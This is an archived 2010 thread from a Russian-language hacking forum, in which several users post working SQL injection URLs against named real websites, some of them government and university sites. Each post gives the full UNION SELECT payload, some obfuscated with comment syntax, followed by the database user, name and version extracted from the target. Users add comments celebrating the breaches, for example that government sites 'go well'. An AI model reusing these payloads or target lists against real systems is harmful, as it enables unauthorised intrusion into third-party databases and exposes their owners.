ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11741  
Старый 30.03.2010, 22:37
547
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
Провел на форуме:
472147

Репутация: 211
По умолчанию

Код:
http://www.plan-art.co.uk/case.php?id=116+and+substring(@@version,1,1)=5--
version:MySQL 5
 
Ответить с цитированием

  #11742  
Старый 30.03.2010, 22:38
xor[jmp]
Banned
Регистрация: 29.03.2010
Сообщений: 134
Провел на форуме:
308180

Репутация: 31
По умолчанию

Код:
http://www.gtk.fi/slr/author.php?id=-1+union+select+1,2,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,4,5,6,7,8--
User: slr@localhost
Version: 5.0.77
Database: slr

Код:
http://npiw.punjab.gov.pk/wc_view_progress_print.php?wcId=-27571+union+select+1,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,3,4,5,6,7,8,9,10,11--
User: guest_npiw@localhost
Version: 5.0.51b-community-nt
Database: watercourse

Код:
http://www.indstate.edu/news/news.php?newsid=-2170+union+select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,2,3,4,5,6--
Норм домен ^_^
User: news@localhost
Version: 5.0.45-community-nt-log
Database: news
 
Ответить с цитированием

  #11743  
Старый 30.03.2010, 22:43
root_sashok
Познавший АНТИЧАТ
Регистрация: 04.08.2008
Сообщений: 1,359
Провел на форуме:
8220635

Репутация: 1593


Отправить сообщение для root_sashok с помощью ICQ
По умолчанию

Код:
http://digitaltouchgroup.com/categories.php?cat=-1+union+select+concat_ws(0x3a,user(),database(),version())--
Username: mohammed_digital@localhost
Database: mohammed_digitaltouchgroup_db
Version: 5.0.77-community

Код:
http://www.plockagaleria.com/konkursy/cat.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5--
Username: pgs@77.55.98.104
Database: pgs
Version: 5.0.90-log

Код:
http://www.parfymelle.no/style_two.php?cat=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4--
Username: parfymelle@217.18.205.134
Database: parfyme
Version: 5.0.22

Последний раз редактировалось root_sashok; 30.03.2010 в 22:53..
 
Ответить с цитированием

  #11744  
Старый 30.03.2010, 22:51
xor[jmp]
Banned
Регистрация: 29.03.2010
Сообщений: 134
Провел на форуме:
308180

Репутация: 31
По умолчанию

Код:
http://www.cyclingconsulting.com/ciclistas_maqueta.php?ciclista_cod=-32+union+select+1,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,3,4,5,6,7,8,9,10,11,12,13,14,15--
User: DBUA679@vs1003.euddene.net
Version: 5.0.32-Debian_7etch5-log
Database: DBA869-ciclistas

Код:
http://www.draytek.com/user/SupportAppnotesDetail.php?ID=-102+union+select+1,2,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,4,5,6,7,8,9--
User: draytekdb_user@localhost
Version: 5.0.67-log
Database: draytekdb

Код:
http://www.msm-musik.de/index.php?page_id=-18+union+select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29--
User: _msm@localhost
Version: 4.1.22
Database: 10045_msm
 
Ответить с цитированием

  #11745  
Старый 30.03.2010, 22:59
root_sashok
Познавший АНТИЧАТ
Регистрация: 04.08.2008
Сообщений: 1,359
Провел на форуме:
8220635

Репутация: 1593


Отправить сообщение для root_sashok с помощью ICQ
По умолчанию

Код:
http://www.opwegmetenergie.nl/wijzig.php?cat=-1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4--
Username: nove@localhost
Database: nove
Version: 4.1.22-log

Код:
http://www.ganeshaonline.com/ViewItems.php?itemid=730+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
Username: ganesha1@66.70.19.249
Database: ganeshaonline
Version: 5.0.41-community

Последний раз редактировалось root_sashok; 30.03.2010 в 23:09..
 
Ответить с цитированием

  #11746  
Старый 30.03.2010, 23:08
xor[jmp]
Banned
Регистрация: 29.03.2010
Сообщений: 134
Провел на форуме:
308180

Репутация: 31
По умолчанию

Код:
http://www.ctaholidays.net/beta/holiday_details.php?id=1225589959+union+select+1,2,3,4,5,6,7,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,9,10,11,12,13,14,15--
User: sercanak_main@localhost
Version: 5.1.45-log
Database: sercanak_ctav2

Код:
http://www.graffitiwallpaper.com/index.php?wallpaper=-44+union+select+1,2,3,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,5,6,7,8,9,10--
User: graffiti_wall@localhost
Version: 4.1.22-standard
Database: graffiti_cms

Код:
http://financialselfserviceworld.com/products.php?prod_id=-1794+/*!union*/+/*!select*/+concat_ws%280x3a,0x73616e656b736f736f,user%28%29,database%28%29,version%28%29%29--
User: atmmarketplace@localhost
Version: 5.0.77
Database: sitedb
 
Ответить с цитированием

  #11747  
Старый 30.03.2010, 23:14
xor[jmp]
Banned
Регистрация: 29.03.2010
Сообщений: 134
Провел на форуме:
308180

Репутация: 31
По умолчанию

Код:
http://hospitalityselfserviceworld.com/storefronts.php?sf_id=-114+/*!union*/+/*!select*/+concat_ws%280x3a,0x73616e656b736f736f,user%28%29,database%28%29,version%28%29%29--
User: atmmarketplace@localhost
Version: 5.0.77
Database: sitedb

Код:
http://www.mmblaw.com/newsevents.php?NewsID=66+union+select+concat_ws%280x3a,0x73616e656b736f736f,user%28%29,database%28%29,version%28%29%29--
User: pnc_morganmiller@localhost
Version: 4.1.22-community-nt
Database: pnc_morganmiller

Код:
http://www.rocautos.com/vehicle_detail.php?item=-156372+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(),database(),version()),8,9,10,11,12,13,14,15--
User: autoshop2307@thunderbird.dreamhost.com
Version: 5.0.67-userstats-log
Database: autoshop2107

Код:
http://www.climamaison.com/chauffage.php?K=-94+union+select+1,2,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,4--
User: climamaisoncom@localhost
Version: 5.0.32-Debian_7etch12-log
Database: climamaisoncom

Код:
http://www.amnh.org/programs/programs.php?event_type_id=1+union+select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29--
User: com_dbpublic@localhost
Version: 5.0.41-community-log
Database: com_calendar

Вывод в исходнике.
Код:
http://www.csr-asia.com/index.php?cat=-1+union+select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29--
User: csrasia_db1@localhost
Version: 5.0.67-community
Database: csrasia_db1

Код:
http://www.receptur-gdventura.es/v2/publico/actividad_ficha.php?actividad_id=-23+union+select+1,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29--
User: usuario@dl03.dinaserver.com
Version: 5.0.51a-24+lenny2
Database: activasol_receptur

Код:
http://www.fotomundo.com/nota.php?id=1147+union+select+1,2,3,4,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,6,7,8,9,10,11,12,13,14,15--
User: fotomundo.com@localhost
Version: 5.0.77
Database: fotomundo_com
Код:
http://www.indianminiature.in/enlarge.php?cid=-448+union+select+1,2,3,4,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,6,7,8,9,10,11,12,13,14,15,16--
User: paintingnew@localhost
Version: 4.1.22-community-nt
Database: paintingnew

Код:
http://www.mediendenk.com/images/gallery.php?AID=-0000004023+union+select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29--
User: ftp53845@server029.webpack.hosteurope.de
Version: 5.0.32-Debian_7etch1~bpo.1-log
Database: mediendenk_com

Код:
http://ershad.byethost8.com/linktop.php?id=-1+union+select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,2,3,4,5,6,7--
User: b8_5033612@209.190.85.138
Version: 5.1.41-3
Database: b8_5033612_linkbox

Выводил через сипт (1 поле).

Код:
https://secure.clickitgolf.com/coupon.php?courseId=-1+union+select+concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29--
User: clickitg@localhost
Version: 4.1.20
Database: clickit2

Код:
http://www.asiayogaconference.com/faculty/index.php?faculty_id=32+union+select+1,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,3,4,5,6,7,8,9,10--
User: root@localhost
Version: 4.1.22-log
Database: ayc2009

Код:
http://www.happypuglia.com/disponibilita.php?Cod=-1+union+select+1,2,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29--
User: pugliavacan4764@web-a1.seeweb.it
Version: 4.0.18-standard
Database: pugliavacan4764

Код:
http://www.onthetable.co.uk/product.php?product=Culinary_Concepts_Corn_on_the_Cob_Skewers&sproductID=57+union+select+1,2,3,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,5,6,7,8--
User: mysql50847@10.41.0.5
Version: 5.0.77
Database: db50847

P.S Скули нашёл ещё неделю назад, записывал всё в блокнот, на боянность проверить ещё не успел но позже почищу.
 
Ответить с цитированием

  #11748  
Старый 30.03.2010, 23:15
root_sashok
Познавший АНТИЧАТ
Регистрация: 04.08.2008
Сообщений: 1,359
Провел на форуме:
8220635

Репутация: 1593


Отправить сообщение для root_sashok с помощью ICQ
По умолчанию

Код:
http://uis.sashaal.net/product.php?cat=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5--
Username: v2v@localhost
Database: v2v
Version: 5.0.51a-24+lenny1-log

Украинские Информационные Системы.

Код:
http://www.pbphotography.nl/portfolio.php?cat=48+union+select+concat_ws(0x3a,1111,user(),database(),version())--
Username: pbp@localhost
Database: pbp
Version: 4.1.22-standard

Код:
http://giopro.gr/main.php?cat=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5--
Username: giopogr1_user@localhost
Database: giopogr1_giopro
Version: 4.1.22-standard

Код:
http://www.richmond.com.sv/detalle.php?id=9+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6--
Username: estudiodinamo@64.13.192.10
Database: db7589_richmondsv
Version: 4.1.25-Debian_mt1

Код:
http://mybulgariayoung.org/gallery.php?l=bg&cat=-1+union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6,7--
Username: mybulgariayoung@localhost
Database: mybulgaria_db
Version: 5.0.51a-log

Код:
http://www.recrapro.nl/index.php?cat=product_detail&pid=768+union+select+1,concat_ws(0x3a,111,user(),database(),version()),3--
Username: outdoor@localhost
Database: outdoorpro
Version: 4.1.22

Отдохнул и размахнулся за пару часов

Последний раз редактировалось root_sashok; 31.03.2010 в 00:00..
 
Ответить с цитированием

  #11749  
Старый 31.03.2010, 00:04
CyberHunter
Постоянный
Регистрация: 06.01.2010
Сообщений: 785
Провел на форуме:
1777031

Репутация: 256


Отправить сообщение для CyberHunter с помощью ICQ
По умолчанию

Код:
http://onlife.ru/curiously.phtml?id=-122+union+select+1,2,3,4,5,6,7+--+
Version: 5.0.89-community
User: onliferu_main@localhost
Database: onliferu_main

Вот нашел еще:
Код:
http://www.clinicas.ru/?id=122
и
Код:
http://www.piro.ru/show_katalog.php?id=-22
но до ума довести не смог
 
Ответить с цитированием

  #11750  
Старый 31.03.2010, 00:05
root_sashok
Познавший АНТИЧАТ
Регистрация: 04.08.2008
Сообщений: 1,359
Провел на форуме:
8220635

Репутация: 1593


Отправить сообщение для root_sashok с помощью ICQ
По умолчанию

Код:
http://www.fusion-aarhus.dk/katalog.php?cat=1+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4--
Username: web0@localhost
Database: usr_web0_1
Version: 5.0.32-Debian_7etch6

Код:
http://www.lacumbre.gov.ar/index.php?put=servicios-cat&ls=0&id_subrubro=16+union+select+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6,7,8,9,10,11,12,13,14,15,16,17,18,19--
Username: acumbre_sitio@localhost
Database: lacumbre_sitio
Version: 4.1.22-standard

Код:
http://score.dnr.sc.gov/deep.php?subject=5&topic=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5--
Username: score@localhost
Database: score
Version: 4.1.20

Код:
http://www.heber.ca.gov/section.php?id=-1+union+select+1,2,concat_ws(0x3a,user(),database(),version()),4,5,6,7,8,9,10,11,12,13,14,15--
Username: kenwood@68.178.254.188
Database: kenwood
Version: 5.0.67.d7-ourdelta-log

Gov идут отлично.

Последний раз редактировалось root_sashok; 31.03.2010 в 00:28..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 6 (пользователей: 0 , гостей: 6)
 


Быстрый переход




ANTICHAT.XYZ